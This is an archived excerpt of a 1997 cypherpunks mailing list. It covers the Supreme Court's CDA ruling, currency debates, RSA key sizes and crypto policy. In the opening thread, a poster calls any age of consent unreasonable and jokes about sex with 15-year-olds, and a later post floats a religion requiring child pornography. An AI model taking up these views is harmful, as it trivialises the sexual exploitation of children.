From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 26 Jun 1997 21:48:49 +0800
Subject: It ain't over till the fatman burns...
In-Reply-To: <199706250602.CAA02284@dhp.com>
Message-ID: 




> > Supervision, plain and simple. However, if you honestly believe your
> > children are going to be harmed in some lasting way by any images they
> > might find there is clearly something wrong with the way you have brought
> > them up
> 
>   Good, strong beatings will also help to deter them from doing
> things that they find interesting or pleasurable. This will help
> to reinforce the concept that things which feel good lead to
> pain and punishment.

Indeed so: Lock and load!

>   Pictures of people burning in hell can be put in prominent places
> in the home, with constant verbal reminders that God will punish
> bad people who have different values than you.

This is a common and well researched technique, which, along with self 
flagellation, can be very effective for moral purification.

>   Impress upon your son that if he wants to have sex with 
> teenage girls under the age of 18 he must move to a foreign 
> country where he can receive millions of dollars in foreign
> aide while he does so. 

I didn`t know the US age of consent was 18? Is this federal or state 
decided? It is 16 in the UK, not that any level is reasonable. 

> Explain that if he has sex with his
> teenage girlfriend in this country that he is an evil person
> and will be convicted as a sex offender (which will delay
> their wedding plans) and be marked for life as a child 
> molester.

Indeed, prison violence by other prisoners against convicted sex 
offenders (ie. 18 year olds who have sex with their 15 year old 
girlfriend or just happen to accidentally pick up a 15 year old 
at a club, both henious crimes obviously) is very common in the UK.

>   Most important of all, carefully explain to your children
> that if their gaze ever happens to fall upon material which
> you find unacceptable that they will end up being murdering,
> drug-dealing pornographers because they are immoral dupes
> with no character or self-will.

Yes, the very sight of a naked woman is enough to turn any 17 year old 
into a raving killer with no respect for human life, of course, the 
moment he turns 18 it is just socially looked down upon, but not 
criminal, this is obvious isn`t it? Shouldn`t there be a law!

>   Use Paul and myself as examples of where libertarian thinking
> leads, in the end. After all, he is writing from DEMON.co.uk and
> I am writing from LUCIFER at dhp.com.

Yes, libertarian thinking is very pervasive. I used to be a minarchist, 
since thinking about the use of cryptography to preserve stable anarchies 
I have gravitated more and more towards an anarchist point of view with 
just a totally minimal NON-LAWMAKING state, ie. just a properly regulated 
police force, jail system, and the other associated bits and pieces, 
commercial methods, although they would be nice to totally purify 
anarchist doctrine <-(for want of a better and less overloaded word), 
just do not seem to work for these services due to the necessity for 
impartiality, the market DOES NOT want impartial judicial systems...

It does not matter where you are located or who you associate with, or 
who you learn your life-view from, and how it develops. Proper 
logical libertarian thinking always leads to the same views, give or take 
the details. 

>   If you are concerned about what your children may encounter
> on the internet that will expose their lack of character and
> morals, there is a program available that is even better than
> Cybersitter. It was sent to the list by fuck at yourself.up a few
> months ago.

I would recommend simply keeping all girls indoors in a cave until the 
age of 18, forcing them to wear a cast iron chastity belt, and arranged 
marriages.

Boys can safely be allowed to go out fucking who they like after they 
reach 16, and not a day before, but do not under any circumstances give 
them proper sex education so they do not get girls pregnant, they must 
face the consequences!

> FlameMonger


MoralityMonger


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From frissell at panix.com  Thu Jun 26 07:24:36 1997
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 26 Jun 1997 22:24:36 +0800
Subject: CDA Overturned
Message-ID: <3.0.2.32.19970626101745.035dc70c@panix.com>



06/26/1997 10:07 EST 

 Court Nixes Internet Smut Provision 


WASHINGTON (AP) -- Congress violated free-speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.






From frissell at panix.com  Thu Jun 26 07:29:04 1997
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 26 Jun 1997 22:29:04 +0800
Subject: CDA Overturned - AP Write through 9-0
Message-ID: <3.0.2.32.19970626102455.035e30f0@panix.com>



9-0 I called it.


06/26/1997 10:16 EST

Court Nixes Internet Smut Provision


WASHINGTON (AP) -- Congress violated free-speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.

Congress' effort to protect children from sexually explicit material goes too far because it also would keep such material from adults who have a right to see it, the justices unanimously said.

The law made it a crime to put adult-oriented material online where children can find it. The measure has never taken effect because it was blocked last year by a three-judge court in Philadelphia.

``We agree with the three-judge district court that the statute abridges the freedom of speech protected by the First Amendment,'' Justice John Paul Stevens wrote for the court.

``The (Communications Decency Act) is a content-based regulation of speech,'' he wrote. ``The vagueness of such a regulation raises special First Amendment concerns because of its obvious chilling effect on free speech.''

``As a matter of constitutional tradition ... we presume that governmental regulation of the content of speech is more likely to interfere with the free exchange of ideas than to encourage it,'' Stevens wrote.

Sexually explicit words and pictures are protected by the Constitution's First Amendment if they are deemed indecent but not obscene.






From tzeruch at ceddec.com  Thu Jun 26 08:46:51 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 26 Jun 1997 23:46:51 +0800
Subject: new money systems
In-Reply-To: <199706250027.RAA19105@netcom15.netcom.com>
Message-ID: <97Jun26.113748edt.32257@brickwall.ceddec.com>



> Tue, 24 Jun 1997, Vladimir Z. Nuri wrote: 

> an interesting book, I think this is one of his I browsed. MF is correct
> in some ways but I believe he is off the mark in others. gold has a  key 
> advantage over money printed by a government in that it can't be
> counterfeited even by that government.  

Gold (content) can be counterfeited, which is why it needs to be assayed
and there are assay marks on gold bars. 

> what I am trying to imply in the post is that there is actually a hidden
> resistance on our money that is not reflected in the fees that various
> entities charge.  this is inflation, and it it can be totally controlled,
> despite whatever lies the Fed tells the public.

If there is inflation, or even the hint, people will shift from dollars
(or pounds, or yen) to something that is not inflating.  It would be
easier to control if they didn't tax you on the inflation (which they call
capital gains).

> >The problem is one of exchange.  A local currency (banks used to issue
> >their own notes) is only good in that locality.  How do I buy a California
> >pistachio with Michigan Money?  Or with British Pounds for that matter. 
> >In all cases you get an exchange rate.  There will be a varying ratio
> >between any two given fiat currencies, and even two currencies based on
> >(i.e. redeemable in) different commodities.
> 
> so what? I understand this obvious and trivial point.

Try spending british pounds at a US fast food restaraunt (at least one
that is not adjacent to a UK diplomatic building).  Then you will have to
go to someone to do the exchange and they will charge a fee.  And then if
you go to the UK and have to change back, there will be another fee.

Although there is an "exchange rate", it is discounted so that the
organization doing the exchange makes money each way.  Canadian
restaraunts just over the border will take american money, but give me 10%
less than the bank exchange rate.

Thus it is not trivial in practice.  If your money was only good for a 50
mile radius, and you lost 3% in each exchange, going on vacation would get
very expensive and you would then call for a universal currency, or
convert into something like it (accepted by every locality very near par)
before going on vacation.  But if you convert it into a universal
currency, why not just leave it as that?

Considering the internet is international, exchange is a big problem and
will get worse as more transactions require foreign exchange. 

> a local economy can have a currency, and ask the question, "why is On
> value being extracted from our local economy when it is a self-sustaining
> unit"? the idea behind a local currency actually encourages local
> autonomy/sovereignty/independence.

I agree with the concept.  If Michigan doesn't want to inflate its
currency and New Jersey does, they can then do so without interfereing
with each other (or BC and Quebec, for that matter).

But as Ricardo has shown, trade advantages all parties, so autonomy is
actually less efficient.  Nebraska is better suited to wheat, Maine to
cranberries, Michigan to Cherries, and Florida and California to Oranges.
To be "autonomous and independent" in Minnesota makes for very expensive
oranges.

So although I consider autonomy a virtue, I consider trade a greater
virtue, so local currencies are good only to the extent they promote both,
and with the problems of currency exchange, I don't see how trade is
enhanced by local currencies, but am interested on your thoughts on this
point since you are more familiar with the narrow topic.

> >Having 1000 other currencies would mean that each currency would have a
> >fluctuating value relative to each other (great if you are an
> >arbitrageur), 
> 
> no, this is not a problem, but a solution. as our world markets show,
> it is trivial to convert between currencies and each one acts as a
> check and a balance on the other. if a currency declines in value to
> another in the market, I will bet you the country whose currency
> declined is "counterfeiting its own money" via interest rates paid
> on bonds.

Yes, but each currency would then have to be exchanged (at a discount!) 
and that almost every time any transaction occured.  Unless you are
willing to exchange any amount of currency without making any profit on
it, not even to cover expenses or fluctuations in value, this won't work -
it is trivial to convert currency, but it is not without cost.

You can have state and local tyrants who want to manipulate the money
supply.  Power corrupts at whatever level (look for a big municipal bond
crash that dwarfs the S&L crisis - this is one thing the locals can
manipulate to some extent). 

In sum, I have a set of questions:  1. Why would local currencies be any
less subject to manipulation than national currencies which suffer from
inflation and devalutation when the consequences are the same and the
national level can't resist?  2. If they aren't going to set the value
themselves, they will have to fix the value "permanently", since if they
can change the peg, they can manipulate it, but if they fix the value to
X, why won't real X be prefered to the note denominated in X.  3. As
long as they have to pick X, if several localities pick gold as X, then
their currencies then become the same, although having different numbers
(e.g. 31 & change gram notes v.s. 1 troy ounce notes) - why have a dozen
currencies which are merely different numbers representing the same amount
of a commodity (except to manipulate later)?






From tien at well.com  Thu Jun 26 08:47:29 1997
From: tien at well.com (Lee Tien)
Date: Thu, 26 Jun 1997 23:47:29 +0800
Subject: Bomb Making Info to be Illegal
In-Reply-To: <199706251817.LAA23297@black.colossus.net>
Message-ID: 

A non-text attachment was scrubbed...
Name: not available
Type: text/enriched
Size: 1019 bytes
Desc: not available
URL: 

From banisar at epic.org  Thu Jun 26 08:51:41 1997
From: banisar at epic.org (Dave Banisar)
Date: Thu, 26 Jun 1997 23:51:41 +0800
Subject: CDA Struck Down
Message-ID: 




                      P R E S S   R E L E A S E


FOR IMMEDIATE RELEASE:               CONTACT:
Thursday, June 26, 1997              David L. Sobel (sobel at epic.org)
10:45 a.m., ET                       202-544-9240


         EPIC HAILS SUPREME COURT INTERNET "INDECENCY" DECISION:

        OPINION "PRESERVES BOTH FREE SPEECH AND PERSONAL PRIVACY"

WASHINGTON, DC -- The Electronic Privacy Information Center (EPIC) today
hailed the Supreme Court's Internet speech decision as "the first landmark
decision of the 21st Century."  In its first opinion involving cyberspace,
the Court, by a 7-2 vote, struck down the online censorship provisions of
the Communications Decency Act (CDA) (Chief Justice Rehnquist and Justice
O'Connor concurred in part and dissented in part).  EPIC participated in
the litigation as both plaintiff and co-counsel.

"Today's opinion defines the First Amendment for the next century,"
according to EPIC Legal Counsel David Sobel, who served as co-counsel in
Reno v. ACLU.  "The Court has written on a clean slate and established the
fundamental principles that will govern free speech issues for the
electronic age."

Sobel said that today's landmark decision "preserves both free speech and
personal privacy in this rapidly growing medium."  Throughout the
litigation of the case, EPIC has stressed that the CDA not only infringed
on Americans' free speech rights, but also posed a grave threat to personal
privacy.  By requiring "speakers" on the Internet to verify the age and
identity of all potential recipients of "indecent" material, the law would
have destroyed the anonymity that is a hallmark of online communications.
EPIC noted that a good deal of sensitive information -- dealing with AIDS
prevention, teenage pregnancy, and other critical social issues -- would
not be sought out if recipients were required to identify themselves.

EPIC joined with the American Civil Liberties Union and 18 other plaintiffs
in challenging the law on February 8, 1996, the day it was signed by
President Clinton.  A three-judge federal court panel in Philadelphia
unanimously ruled on June 11, 1996, that the Internet "indecency"
provisions violated the First Amendment's free speech protections.  That
decision was today affirmed by the  United States Supreme Court.

A copy of the Court's decision is available at:

      http://www2.epic.org/cda/cda_decision.html

EPIC is a non-profit research organization established in 1994 to examine
civil liberties and privacy issues arising in new electronic media.


                                 - 30 -









From azur at netcom.com  Thu Jun 26 09:29:11 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 27 Jun 1997 00:29:11 +0800
Subject: Bomb Making Info to be Illegal
In-Reply-To: 
Message-ID: 



At 9:13 PM -0400 6/25/97, Mark M. wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Steve wrote:
>
>> What's not clear to me, and I wish someone would explain, is how the SC
>> managed to find pornography not similarly protected speech.  Arms and
>> munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
>> others.
>
>It appears that Roth v. United States was the first case before that the
>U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
>The reasoning was that while offensive, unorthodox, or hateful ideas
>are protected by the 1st, they, unlike pornography, have at least *some*
>redeeming social value.  The court noted that laws enacted after the
>ratification of the U.S. Constitution banned several different kinds of
>speech, including profanity, blasphemy, and libel.  It's a very common
>tactic for the courts to refer to post-ratification laws to support
>limits on Constitutional rights.

I can't see that anyone, including the courts, should use redeeming social
value as a yardstick.  This term has all the hateful aspects of one group's
mores being used to limit the freedom of their neighbor in the privacy of
their home and thoughts.  After all, one man's ceiling is another man's
floor.

What if we create religion who's practice requires use and possesion of
child porn?  Wonder how the SC would rule, given its rulings allowing use
of peyote by certain native American tribes and against the Mormons on the
issue of bigemy.

I think resistance to such limitations should go beyond legal avenues.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From whgiii at amaranth.com  Thu Jun 26 09:37:22 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 27 Jun 1997 00:37:22 +0800
Subject: new money systems
Message-ID: <199706261629.LAA01240@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jun26.113748edt.32257 at brickwall.ceddec.com>, on 06/26/97 
   at 11:37 AM, tzeruch at ceddec.com said:

>Yes, but each currency would then have to be exchanged (at a discount!) 
>and that almost every time any transaction occured.  Unless you are
>willing to exchange any amount of currency without making any profit on
>it, not even to cover expenses or fluctuations in value, this won't work
>-
>it is trivial to convert currency, but it is not without cost.

I don't want to get to deep into this curency issue but from my experiance
not all exchanges are done at a cost.

This is directly related to the stability of the curency being exchanged.
If I am exchanging US $ with a low inflation rate (say 4%) for IT lira
with a high inflation rate (say 250%) it is to the advantage of the person
holding the lira to give me a good rate of exchange for my stable dollars.
Also if I may not actually need to make the exchange at all as many Italin
merchants would prefer to be paid in US $ rather than IT lira and will
discount his services on the simple fact that I am paying him in stable
curency. From my travels I have found whole cities where there is an
underground economy all in US $ because the local curency is worthless.
These areas tend to have a thriving barder system also for the same
reasons (a loaf of bread is still worth a loaf of bread regardless what
the pinheads in the government do to screw up the economy).

Where I see the cost of exchange is when dealing with curencies that are
of relativly the same stablilty US $ (4%) Japan Yen (6%). Then there is
not the overwhelming advantage to the person holding the Yens to exchange
for the US $.

There are exceptions to this also. Say you have Widgets Inc (USA) & Cogs
LTD. (Japan) who do a large amount of business in each others countries
and between each other. It may be to their advantage to accept purchaces
in each others currencies as to avoid the cost & hassels of going through
exchanges.

Just some food for thought. :)

PS: the inflation rates were just given as examples I have no ideal what
the current inflation rates are in the above mentioned countries.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7KYyY9Co1n+aLhhAQFLsAQAlZKt47lhcbDbnAjNzN6awy8t25JkYGmz
n8TtzJqHX/4soTeiK1OGiz32lBiHz4N2X5odp0/Dm0AW8NTXJqkjRs8T19aZyowi
Mz08YyQqR9MSGXySGbXMc+0Jq1J03doZGQzny6VxuUIvopGvsfuXsODLjRCdzpFW
7iwhLLdXQ1E=
=1uhw
-----END PGP SIGNATURE-----






From caseym at genesisnetwork.net  Fri Jun 27 00:42:22 1997
From: caseym at genesisnetwork.net (Casey Moss)
Date: Fri, 27 Jun 1997 00:42:22 -0700 (PDT)
Subject: Web Site reporting
Message-ID: <3.0.1.32.19960317004438.00676a24@webb.genesisnetwork.net>


Something your web site cannot do without.

http://www.genesisnetwork.net/report/report.htm

Comprehensive web site reporting






From declan at well.com  Thu Jun 26 09:56:04 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 27 Jun 1997 00:56:04 +0800
Subject: CDA STRUCK DOWN BY SUPREME COURT, from the Netly News
Message-ID: 




---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 09:40:28 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: CDA STRUCK DOWN BY SUPREME COURT, from the Netly News

[Check out netlynews.com for updates throughout the day. --Declan]

---

http://cgi.pathfinder.com/netly/opinion/0,1042,1110,00.html

The Netly News
CDA STRUCK DOWN!

June 26, 1997, 11:30 am
by Declan McCullagh (declan at well.com)
   
       The U.S. Supreme Court, in a landmark decision that firmly
   establishes unbridled free speech in cyberspace, struck
   down the Communications Decency Act. In a 40-page majority opinion
   opinion handed down this morning, the Justices determined that the act
   is unconstitutional. The court also resoundingly rejected the argument
   that broadcast standards should apply to the Internet.
   
       The Justices unanimously ruled that the so-called "display
   provision" -- which would effectively render the Net "child safe" --
   was patently unconstitutional. "The interest in encouraging freedom of
   expression in a democratic society outweighs any theoretical but
   unproven benefit of censorship," wrote Justice John Paul Stevens. In a
   7-to-2 decision, the court also struck down the other half of the CDA,
   which banned "indecent transmission" to a minor. The minority
   argued that such a limitation would not interfere "with the First
   Amendment rights of adults." Justices Sandra Day O'Connor and William
   Rehnquist were the lone dissenters on that point in a 13-page minority
   opinion.

        "This is the landmark decision that many of us anticipated," said
   David Sobel, staff counsel at the Electronic Privacy Information
   Center and co-counsel on the case. Phil Gutis of the American Civil
   Liberties Union -- the lead plaintiff in Reno v. ACLU -- said the
   decision left no wriggle room for CDA supporters: "It's going to be
   very hard for Congress to go back and say the court left us this
   opening. They didn't."
   
        Yet CDA supporters promised to keep up the fight. Against the
   backdrop of a dozen anti-porn activists, Cathy Cleaver, the director
   of legal policy for the Family Research Council, proclaimed that,
   "today we're going to see the floodgates of pornography open on the
   internet. This is not a good time to be a child. We're not going to
   give up the fight to protect children online."
   
       In spite of such perceived dangers, the court apparently realized
   the unique nature of the Internet and appreciated the fact that it is
   a new and developing medium. "Neither before nor after the enactment
   of the CDA have the vast democratic fora of the Internet been subject
   to the type of government supervision and regulation that has attended
   the broadcast industry. Moreover, the Internet is not as 'invasive' as
   radio or television," the majority wrote. The CDA "threatens to torch
   a large segment of the Internet community."
   
        The chief congressional opponent of the CDA applauded the court's
   recognition that the Internet is wholly unlike broadcast media.
   "Giving full force to the first amendment online is a victory for the
   first amendment, for american technology, and for democracy," said
   Sen. Patrick Leahy (D-VT) in a statement. "The CDA was misguided and
   unworkable. It reflected a fundamental misunderstanding of the
   technology of the Internet."
  
###







From lucifer at dhp.com  Thu Jun 26 13:42:11 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 27 Jun 1997 04:42:11 +0800
Subject: The Grand Compromise is Coming
Message-ID: <199706262020.QAA25675@dhp.com>



Bill Stewart wrote:
> 
> >> This is why I think the "use of a special language or
> >> whispering in furtherance of a crime" provisions of SAFE will probably be
> >> struck down by the Supremes, unless they, too, have forgotten what the
> >> Constitution is all about.)

> Back when marijuana was illegal in Oklahoma, during the anti-war years
> when everybody was paranoid that their phones were tapped by the FBI,
> a friend of mine would occasionally have phone conversations like
>         "Hey, Steve, I just got some .... Beer.  Want to come over?"
>         "Yeah, Joe, I'd really like some .... Beer.  I'll be there
>         in about an hour.  Should I bring some .... Pizza?"

  The FBI was involved in the war on cryptography during the LBJ
administration, according to my guitar player at the time.
  He was staying at the Lady Bird Ranch and called his roomate to
tell him he would be out to pick up his "shit" later in the day.
When he got there, the FBI was tearing apart his amp and speakers.
They asked him where his "shit" was and he told them they were
tearing it apart.

  I wonder if Timothy McVeigh phoned Bill Stewart to tell him,
"I'm going to deliver the...Pizza...to the Federal Building."?
(That's an extra five years, right there.)

PizzaMonger







From markm at voicenet.com  Thu Jun 26 14:17:31 1997
From: markm at voicenet.com (Mark M.)
Date: Fri, 27 Jun 1997 05:17:31 +0800
Subject: Bomb Making Info to be Illegal
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 26 Jun 1997, Steve Schear wrote:

> >It appears that Roth v. United States was the first case before that the
> >U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
> >The reasoning was that while offensive, unorthodox, or hateful ideas
> >are protected by the 1st, they, unlike pornography, have at least *some*
> >redeeming social value.  The court noted that laws enacted after the
> >ratification of the U.S. Constitution banned several different kinds of
> >speech, including profanity, blasphemy, and libel.  It's a very common
> >tactic for the courts to refer to post-ratification laws to support
> >limits on Constitutional rights.
> 
> I can't see that anyone, including the courts, should use redeeming social
> value as a yardstick.  This term has all the hateful aspects of one group's
> mores being used to limit the freedom of their neighbor in the privacy of
> their home and thoughts.  After all, one man's ceiling is another man's
> floor.

I believe that freedom of speech is an absolute right, but I can see
valid arguments, both for and against, the belief that the text of the
1st applies to obscenity.

> 
> What if we create religion who's practice requires use and possesion of
> child porn?  Wonder how the SC would rule, given its rulings allowing use
> of peyote by certain native American tribes and against the Mormons on the
> issue of bigemy.

On a related note, the supreme Court ruled today, in a 6-3 decision,
that the Religious Freedom Restoration Act was un-Constitutional.  This
federal law required that States prove that they have a "compelling
interest" to enforce laws that infringe on religious freedom.  This
ruling means that the States can continue to enforce peyote laws
against native Americans and, of course, enforce child porn laws against
anyone and everyone.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM7KcEizIPc7jvyFpAQEL8wgAlQic5o76u4AWLBECfYPB5hCbi+KqlUFC
l3vIdwRfg5FTrTrRI+7LFz8UT6lZmBzR+qWJLRLgQPO6QgC0bhiRLLSWUWas2TAN
4nIyjh4J3E5JBWJLuzQ8ZccOOXmTR2+uEPb48568zsRzYeFV9HcgI/PgDvjwexye
+o5Kbs6zdN4kzDoLkgPTCsCxThb5FK/8OHtfNLQb4d7n5tK5FpWYjB/xbsYU00Sq
mDJcA2ekA9ky/5z3oXaKsrXiIw6AOJEyeQxEzmfuL5je6+Dm+HoxGqTh+xRyRH7v
mmKtFRx7yiYwifQHwPNEbW3IoUEWmfKvLpyQxeiQDsYc2pv8ycfUTg==
=+5Wz
-----END PGP SIGNATURE-----






From declan at well.com  Thu Jun 26 14:20:29 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 27 Jun 1997 05:20:29 +0800
Subject: Family Research Council on CDA decision (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 13:59:53 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Family Research Council on CDA decision


FOR IMMEDIATE RELEASE:  June 26, 1997
CONTACT:  Kristin Hansen, (202) 393-2100
 


COURT REAFFIRMS GOVERNMENT^RS INTEREST IN PROTECTING CHILDREN FROM 
PORN, BUT STRIKES CDA AS TOO BROAD


WASHINGTON, D.C. -- "Today^Rs ruling means that pornographers can 
open their doors to children on the Internet.  But pornographers 
beware:  this will not be the last word on protecting children 
from your corrupting influence," Family Research Council Legal 
Policy Director Cathy Cleaver said Thursday.  "While Reno v. ACLU 
said that the specific provisions of the CDA are too broad, the 
Court also said that more narrowly tailored provisions could be 
upheld."

Cleaver made her comments as the Supreme Court issued its ruling 
striking down the Communications Decency Act (CDA).  Cleaver 
continued, "Parents still have no legal recourse to protect their 
children from being sent a Penthouse centerfold.  This is not 
good news for the thousands of families who discover every day 
that their children have accessed offensive and disgusting 
material on the internet. 

"At the same time, the Court has opened the door to new 
legislation protection children.  Americans should urge Congress 
to take another look at the issue and draft a more narrowly 
defined statute.

"But now, the flood gates remain open to purveyors of smut.  With 
no legal liability for those who pursue children with graphic 
images and language on the internet, we need to act fast and 
firmly to ensure that our country does not give pornographers 
special rights."

FOR MORE INFORMATION OR INTERVIEWS, 
CONTACT THE FRC PRESS OFFICE.

- END - 













From root at nwdtc.com  Thu Jun 26 14:25:45 1997
From: root at nwdtc.com (Alan Olsen)
Date: Fri, 27 Jun 1997 05:25:45 +0800
Subject: NEWS.COM - Rumor Mill
Message-ID: <33B2DE7F.1106@nwdtc.com>



No Freeh lunch?


http://www.news.com/Rumors/0,29,,00.html

At the end of the article...

While hackers were getting busy, the crypto honchos were
getting dissed in D.C. Apparently, a group of bigwigs,
including Louis Freeh of the FBI, William Crowell of NSA,
Peter Neumann of SRI, and Ray Ozzie of Lotus, flew all the
way out to the nation's capital for a Senate Judiciary
Committee hearing on cryptography, only to be informed 20
minutes before the meeting that it had been canceled.
Grumbling ensued as the various participants stormed back
to Dulles airport. The meeting may pick up after the July 4
recess.






From declan at well.com  Thu Jun 26 14:51:05 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 27 Jun 1997 05:51:05 +0800
Subject: White House statement on CDA decision (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 14:21:06 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: White House statement on CDA decision



                            THE WHITE HOUSE

                           Office of the Press Secretary

                                 June 26, 1996

                     STATEMENT BY THE PRESIDENT

Today, the Supreme Court ruled that portions of the Communications Decency
Act addressing indecency are not constitutional. We will study its opinion
closely. 

The administration remains firmly committed to the provisions -- both in
the CDA and elsewhere in the criminal code -- that prohibit the
transmission of obscenity over the Internet and via other media.
Similarly, we remain committed to vigorous enforcement of federal
prohibitions against transmission of child pornography over the Internet,
and another prohibition that makes criminal the use of the Internet by
pedophiles to entice children to engage in sexual activity. 

The Internet is an incredibly powerful medium for freedom of speech and
freedom of expression that should be protected. It is the biggest change
in human communications since the printing press, and is being used to
educate our children, promote electronic commerce, provide valuable health
care information, and allow citizens to keep in touch with their
government. But there is material on the Internet that is clearly
inappropriate for children. As a parent, I understand the concerns that
parents have about their children accessing inappropriate material. 

If we are to make the Internet a powerful resource for learning, we must
give parents and teachers the tools they need to make the Internet safe
for children. 

Therefore, in the coming days, I will convene industry leaders and groups
representing teachers, parents and librarians. We can and must develop a
solution for the Internet that is as powerful for the computer as the
v-chip will be for the television, and that protects children in ways that
are consistent with America's free speech values. With the right
technology and rating systems - we can help ensure that our children don't
end up in the red light districts of cyberspace. 








From announce at dmail1.prognet.com  Thu Jun 26 15:03:32 1997
From: announce at dmail1.prognet.com (RealAudio & RealVideo News)
Date: Fri, 27 Jun 1997 06:03:32 +0800
Subject: Final Version of RealPlayer 4.0 with RealVideo Available for FREE Download
Message-ID: <199706262143.OAA09756@dmail4.prognet.com>



Dear RealPlayer User,

Thank you for using RealAudio and RealVideo.

We are pleased to tell you that the final versions
of RealPlayer and RealPlayer Plus 4.0 with
RealVideo and RealAudio have been released.

You can upgrade to version 4.0 by visiting:

   http://www.real.com/40/index.html

RealPlayer 4.0 features better video quality over
dialup connections, direct access to daily news and
entertainment, and more.

RealPlayer Plus 4.0 offers several enhancements
to the free RealPlayer:

- The Best Quality Audio and Video at 28.8
- One-button Scanning for the Best Live Audio
  and Video on the Web
- Instant Access to Your Favorite RealAudio
  and RealVideo Content
- Free Telephone Technical Support
- 30-day Money Back Guarantee

RealPlayer Plus 4.0 is available from:

   http://www.real.com/40/order.html

We hope you enjoy RealPlayer and RealPlayer Plus 4.0!

Rob Glaser
Chairman & CEO
Progressive Networks


---------------------------------------------
 For information about this e-mail including
 how to subscribe to or unsubscribe from
 future announcements, please visit:
 http://www.real.com/mailinglist/index.html






From aba at dcs.ex.ac.uk  Thu Jun 26 16:03:05 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 27 Jun 1997 07:03:05 +0800
Subject: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706250645.IAA16548@basement.replay.com>
Message-ID: <199706261714.SAA00698@server.test.net>




Anonymous writes:
> Adam Back  writes:
> >I can assure you
> >that in moving from a 1024 bit key to a 4096 bit key, the attackers
> >job is well in excess of 50x harder.  Greatly in excess of a trillion
> >trillion times harder.
> 
> First part true, second part false.  See Schneier, p.160.  Extrapolating
> using GNFS factoring indicates ratio of 1E21.  If SNFS factoring becomes
> possible it is much worse, ratio less than one million.

Schneier (the quote you give) gives this table (some values omitted):

# of bits		MIPS-years required to factor
512 bits		3*10^4
1024 bits		3*10^11
1536 bits		3*10^16
2048 bits		3*10^20

How are you extrapolating that to 4096 bits?  Hardness to break
increases as a superpolynomial function of the key size.  The memory
requirements increase with key sizes, also, which I don't think these
figures are taking into account.

If someone would like to post the big O notation for GNFS space and
time complexity, plus current estimates of the constants, perhaps we
could improve upon that.

I reckon my estimate is conservative, if hardness relates to cost,
rather than mathematical number of operations ignoring memory
considerations.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199706260918.KAA00420@server.test.net>




Tim May  writes:
> But I don't get the point of what would be gained by my testimony. It
> wouldn't  help the Cause.

Reasoning was following on from Eric Murrays:

: how much further than completely free crypto can you go?

Most of the lobbyists as far as I can make out are talking in terms of
privacy from government, right to free speech.

Not in terms of eroding government power, avoiding taxes, making 
governments obsolete, nor in terms of hostility towards the legitimacy 
of government, it's methods etc.

So you might argue that this would make the privacy lobyists seem more
middle of the road.  However crypto is binary, either it's free, or
it's GAKked, so they (the privacy lobbyists) can't disavow crypto
anarchy, because it's a consequence of the technology and legal frame
work they want for privacy.  There's nothing in between.

My conclusion was that the crypto anarchy conclusions are pretty much 
in line with some of the NSAs scare stories and their spin is being 
used as an argument for GAK.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
